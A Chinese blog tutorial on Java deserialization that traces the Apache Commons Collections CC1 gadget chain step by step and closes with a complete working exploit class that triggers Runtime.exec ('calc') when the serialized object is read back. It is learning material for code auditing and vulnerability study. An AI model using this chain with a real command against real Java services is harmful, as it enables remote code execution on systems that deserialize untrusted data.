J

JAVA反序列化(2)——CC1链

平常心 JAVA代码审计 2025-01-15

1、前言

学习java反序列化漏洞,首先要搞清楚下面三个定义:

  • (source)入口类
  • (Gadget chain)调用链
  • (sink)执行类

入口类:顾名思义,是整条的入口点( 具备以下特点:
1、调用常见函数:入口类调用的方法应是常见且易被利用的函数。如:JDK原生类方法,系统中的常见库方法如 Apache Commons Collections 的Transformer。
2、参数类型广泛:入口类的方法或构造函数的参数类型越通用(如 Object 或集合类),攻击者的利用空间越大。
3、最好使用JDK自带的类:JDK自带类几乎在所有Java环境中都存在,利用成功率高。

调用链:是指前一个类调用的方法在后一个类中存在,且方法名相同,参数类型相同,整个调用链的类都要实现Serializable
执行类:最终调用的类或方法,执行特定任务,SSRF,RCE,写文件等

那么现在我们寻找RCE的链子方法: 首先去寻找一个符合条件的一个执行类,通过IDEA看哪个类的某个方法(A.a()方法)调用了执行类的危险方法,哪个类的某个方法(B.b()) 又调用了 A.a()方法.......,最终寻找到readObject等类中。

2、具体分析

CC1要从Transformer接口说起,Transformer接口有21个实现类。经过寻找,我们发现了InvokerTransformer这个执行类,这个类的transform方法执行了危险方法method.invoke(input, iArgs)。功能就是反射调用方法
2025-01-11T09:39:31.png

我们可以测试一下这个危险方法。实例化该类,并且调用其transform方法,传入Runtime.getRuntime()类,可以发现成功调用了计算器。
2025-01-11T09:53:31.png

现在需要往上寻找,看看是哪个类的方法调用了这个transform方法,要求能够序列化,且参数类型广泛,经过寻找,找到org.apache.commons.collections.map包下,首先看到TransformedMap类,这里调用transform()次数最多,机会也最多。
2025-01-13T02:45:37.png

看向这个类的构造方法,为protected。无法直接实例化,但可通过其静态方法直接获取对象。
2025-01-13T07:49:14.png

2025-01-13T07:51:52.png

上面说到TransformedMap类三处调用transform方法。注意到其中有一个为transformValue()方法。往上跟,发现此类的put方法又会调用transformValue()方法。那我们可以尝试获取该类对象,测试该危险方法,成功执行命令。(注:CC1走的是checkSetValue()方法,直至跟进到readObject方法内。此处举例只是更清晰的理解漏洞,理解过程,并无法跟进到readObject方法中,只在本类中调用。)。
2025-01-13T08:11:18.png

既然能够执行命令了,那为什么还要继续往上跟呢?
答:我们的目的是反序列化时执行命令,要往上跟到readObject类中。

回归正题,看向CC1链用到的checkSetValue()方法。在 AbstractInputCheckedMapDecorator 类的静态内部类 MapEntry 中,setValue() 方法被调用了。MapEntry类继承AbstractMapEntryDecorator类,而AbstractMapEntryDecorator类实现了Map.Entry。其中Entry代表的是Map中的一个键值对。MapEntry 是Map.Entry的装饰器,它重写了setValue()方法。我们可以遍历TransformedMap装饰的map对象,调用setValue方法。成功弹出计算器。
2025-01-14T07:34:33.png

但这依旧不是我们想要的结果,我们需要继续跟进到readObject方法中,在AnnotationInvocationHandler类的readObject方法中调用了setValue()方法,并且刚好实现了之前的Map遍历功能。该类构造器并不是public,无法直接实例化,需要采用反射技术。但我们使用反射获取该类后,依旧无法触发漏洞。这里有几个原因,在后面详细展开。

2025-01-14T08:53:25.png
2025-01-14T08:52:58.png

上面的问题先放一边,现在我们先将调用exec方法,执行calc命令,全部由反射转换成InvokerTransformer方式,看到可以成功执行命令。
2025-01-15T06:48:50.png

这样一个个嵌套创建参数比较麻烦,在Commons Collections库中存在的ChainedTransformer类。ChainedTransformer 类通过依次应用多个变换器,将每个变换器的输出作为下一个变换器的输入,最终返回最后一个变换器的结果。这个类的构造方法接受一个Transformer[]数组。那我们可以将InvokerTransformer全放进Transformer[]数组里,然后将这个数组放进ChainedTransformer中,并调用其transform方法。我们看到可以执行命令。
2025-01-15T07:05:25.png
我们的要求是反序列化时执行,那就要回到AnnotationInvocationHandler类。执行下面的代码,无法成功。
2025-01-15T08:03:03.png
那为什么无法触发漏洞?
问题1:在AnnotationInvocationHandler类下的readObject方法中,存在if (memberType != null) 这个判断条件,memberType指获取注解中成员变量的名称,当membertype不为空,才可以调用setValue。所以我们newInstance的时候需要传入一个有成员变量的注解,如:Target.class。并且还需要将map里的key与注解的成员变量名称保持一致。这里key为value。
2025-01-15T08:30:11.png
但依旧无法触发漏洞。
问题2:之前是调用ChainedTransformer的transform方法,并传入Runtime.class执行命令。但这无法在反序列化时执行。我们可以利用ConstantTransformer类。在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。那么在这里我们实例化该类,并传入Runtime.class。这样即可成功执行命令
2025-01-15T13:04:49.png

3、总结

完整的exp如下:

public class CC1 {
public static void main(String[] args) throws Exception {
          Transformer[] transformers = new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
           new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
           new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
           };

            Transformer transformerChain = new ChainedTransformer(transformers);

     HashMap<Object, Object> map = new HashMap<>();
     map.put("value", "aa1a");
     Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);

    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> dec = c.getDeclaredConstructor(Class.class, Map.class);
    dec.setAccessible(true);
    Object o = dec.newInstance(Target.class, transformedMap);
    serialize(o);
    unserialize("test.bin");
}

public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
    oss.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}

整理一下利用链:

CC1 Gadget chain:
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        MapEntry.setValue()
            MapEntry.checkSetValue()
                TransformedMap.transform()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

4、参考:

https://github.com/phith0n/JavaThings?tab=readme-ov-file(P牛)
https://www.bilibili.com/video/BV16h411z7o9/(b站白日梦组长)

评论(0)

发布评论

目录